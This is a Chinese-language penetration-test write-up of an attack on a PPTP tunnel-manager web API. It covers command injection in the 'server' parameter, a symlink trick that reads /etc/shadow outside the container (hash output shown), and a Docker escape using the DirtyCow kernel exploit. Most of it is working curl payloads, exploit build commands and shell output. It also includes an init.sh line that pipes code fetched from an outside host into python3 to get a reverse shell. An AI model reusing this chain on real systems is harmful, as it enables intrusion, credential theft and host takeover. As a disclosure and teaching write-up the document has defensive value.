TL; DR

题目有些标题党了。这个漏洞是我在测试 biligame 是发现的,此程序监听在 8081 端口,是一个管理 PPTP 的 Web Interface。首先,通过黑盒测试,发现存在一个在 Docker 容器内的命令执行,接着通过 banner 搜索,在 Github 上找到源代码,通过阅读源码,实现了 Docker 容器外的文件读取,最后通过 DirtyCow 来逃逸 Docker。 非常 CTF 的一个魔幻经历,于是写了一篇文章来分享一下。

RCE

访问目标站,很贴心的列出了 endpoints:

首先测试一下其正常功能:

列出 VPN:

bash-3.2$ curl target:8081/tunnels 2> /dev/null | jq
[
  {
    "status": "INITIAL",
    "external": null,
    "local": "172.17.0.2",
    "dns1": null,
    "tunnel_ip": null,
    "user": "[...]",
    "server": "[...]",
    "id": "[...]",
    "dns2": null,
    "port": [...]
  },
  ...
]

添加 VPN:

bash-3.2$ curl target:8081/tunnel --data ""
<h1>500 Internal Server Error</h1>Param: name not found!

bash-3.2$ curl target:8081/tunnel --data "name=test"
<h1>500 Internal Server Error</h1>Param: server not found

...

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}

通过报错显示出需要的参数:name、server、user、pass、port。

删除 VPN:

bash-3.2$ curl -XDELETE target:8081/tunnel/test
test

边缘测试,显示报错信息:

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"a.asf.loli.club","id":"test","dns2":null,"port":5555}

bash-3.2$ curl target:8081/tunnel --data "name=test&server=a.asf.loli.club&user=asd&pass=123&port=5555"
{"Err":"docker: Error response from daemon: Conflict. The name \"/test\" is already in use by container 1dfabf508870215bb0592e6a8666bd47498157ed631baf54d54cbb0ecf5dcc4b. You have to remove (or rename) that container to be able to reuse that name..\nSee 'docker run --help'.\n"}

发现是 Docker 的报错信息,而且根据回显,推测是后端直接调用 Docker 命令。
有调用就有 RCE,于是我尝试在 :name 参数进行命令注入,但是失败了,推测应该是有 escape。

bash-3.2$ curl -XDELETE target:8081/tunnel/\`a\`test
<h1>500 Internal Server Error</h1>Error response from daemon: No such container: `a`test

bash-3.2$ curl -XDELETE target:8081/tunnel/\'\`a\`test
<h1>500 Internal Server Error</h1>Error response from daemon: No such container: '`a`test

接着我测试在添加 VPN 出的命令注入,不出所料,存在:

bash-3.2$ curl target:8081/tunnel  --data "name=test&server=\`whoami\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}


高兴了大概 1 分钟,我就发现,其实我命令执行的地方是在一个 Docker 容器内:

bash-3.2$ curl target:8081/tunnel  --data "name=test&server=\`ls%20/.docker*\`-bilibili.asf.loli.club&user=asd&pass=123&port=5555"
{"status":"INITIAL","external":null,"local":"172.17.0.5","dns1":null,"tunnel_ip":null,"user":"asd","server":"`whoami`-bilibili.asf.loli.club","id":"test","dns2":null,"port":5555}

文件读取

通过搜索 banner,我找到了这个网站的源代码:https://github.com/bearice/tunnel-manager/blob/master/src/API.hs
通过阅读源码,我发现了一个比较有意思的未公开 API:

tunnelLogs :: String -> IO String
tunnelLogs name = do
    let path = flags_dataDir  name <.> "log"
    sh $ "tail " ++ escape path

...

get "/tunnel/:name/logs" $ do
  name <- param "name"
  logs <- liftIO $ tunnelLogs name
  text $ L.pack logs

在调用这个 API 时,会读取 /data/:name.log。再看看创建 Docker 时候:

tunnelCreate :: String -> String -> String -> String -> Maybe String -> IO (Either String TunnelInfo)
tunnelCreate ""   _      _    _    _ = return $ Left "Name must not be empty"
tunnelCreate _    ""     _    _    _ = return $ Left "Server must not be empty"
tunnelCreate name server user pass port = do
    let n = escape name
    let portDef = case port of
            Just p  -> "-p "++p++":3128"
            Nothing -> "-p 3128"

    r <- shExJoin ["docker run -d --restart=always"
                  ,"--device /dev/ppp"
                  ,"--cap-add=net_admin"
                  ,"--name",n,"-h",n
                  ,"-v "++flags_dataDir++":/data", portDef, flags_image
                  ,"/init.sh ", escapeMany [server,user,pass]
                  ]
    case r of
        Left err -> return $ Left err
        Right _  -> tunnelInfo name

注意这一行:

,"-v "++flags_dataDir++":/data", portDef, flags_image

由于这个 API 运行在容器外,但是容器内的 /data 可以操控,于是通过创建软链接即可读取到容器外的文件。
在容器内:

root@fff2:/data# rm fff.log && ln -s /etc/shadow fff.log
ln -s /etc/shadow fff.log

接着访问 logs:

bash-3.2$ curl target:8081/tunnel/fff/logs
nobody:*:16176:0:99999:7:::
libuuid:!:16176:0:99999:7:::
syslog:*:16176:0:99999:7:::
messagebus:*:16179:0:99999:7:::
landscape:*:16179:0:99999:7:::
sshd:*:16179:0:99999:7:::
ubuntu:$6$7yyw0fAK$[...]5.Urq81:17134:0:99999:7:::
ntp:*:16179:0:99999:7:::
dnsmasq:*:16179:0:99999:7:::
colord:*:16179:0:99999:7:::

Bingo,至此通过 Docker 配合 API 的文件读取完成。

Escape!

但是,满足吗?
我是不满足的,文件读取还只是 tail 的一部分,并不能威胁到服务器的核心安全。
通过一些信息收集,我发现此服务器内核版本较低,可能可以通过 DirtyCow (CVE-2016-5195) 来进行 Docker 逃逸。

root@fff2:/data# uname -a
Linux fff2 3.13.0-88-generic #135-Ubuntu SMP Wed Jun 8 21:10:42 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

内核更新时间是 2016 年 6 月,而 DirtyCow 是在 2016 年 10 月,感觉看到了希望。
不过在进行逃逸之前,需要清除一些小障碍。

调用 API 后,Docker 运行的是 ppp 命令,在超过超时时间后,就会断开 shell。由于需要编译 payload,那么必须安装 gcc 以及 make,但是时间超过了超时时间。
不过根据 API,通过 :name/down:name/up,可以 start/stop Docker 容器,通过修改 init.sh 为反弹 shell 的脚本,接着 docker stop,再 start 后就会获得一个稳定的 shell:

root@fff2:/data# cat /init.sh
#!/bin/bash
curl ricterz.me:8080/|python3

接着:

bash-3.2$ curl target:8081/tunnel/fff2/down
...
bash-3.2$ curl target:8081/tunnel/fff2/up

安装好 gcc、nasm、make 后,编译 payload 运行失败。

root@fff2:/data/dirtycow-vdso-master# ./0xdeadbeef 172.17.0.8:1234
[*] payload target: 172.17.0.8:1234
[-] failed to patch payload's ip

虽然不知道发生了什么,但是我有一种感觉,就是 exp 作者更新了版本导致 exp 挂掉。于是我下载了老版本的 exp,编译后成功获得 shell:

# git clone https://github.com/scumjr/dirtycow-vdso/
Cloning into 'dirtycow-vdso'...
remote: Counting objects: 99, done.
remote: Total 99 (delta 0), reused 0 (delta 0), pack-reused 99
Unpacking objects: 100% (99/99), done.
Checking connectivity... done.
# cd dirtycow-vdso
# git reset --hard ef252dee4784758a494b4286e5ff1dac26e57c7d
HEAD is now at ef252de add another prologue
# sed -i 's/0x0100007f/0x80011ac/g' payload.s
# make
make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
# ./0xdeadbeef
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...
[*] enjoy!
[*] restore: patch 2/2
ifconfig
docker0   Link encap:Ethernet  HWaddr [...]
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          ...

eth0      Link encap:Ethernet  HWaddr [...]
          inet addr:10.10.177.79  Bcast:10.10.255.255  Mask:255.255.0.0
          ...

至此,逃逸成功。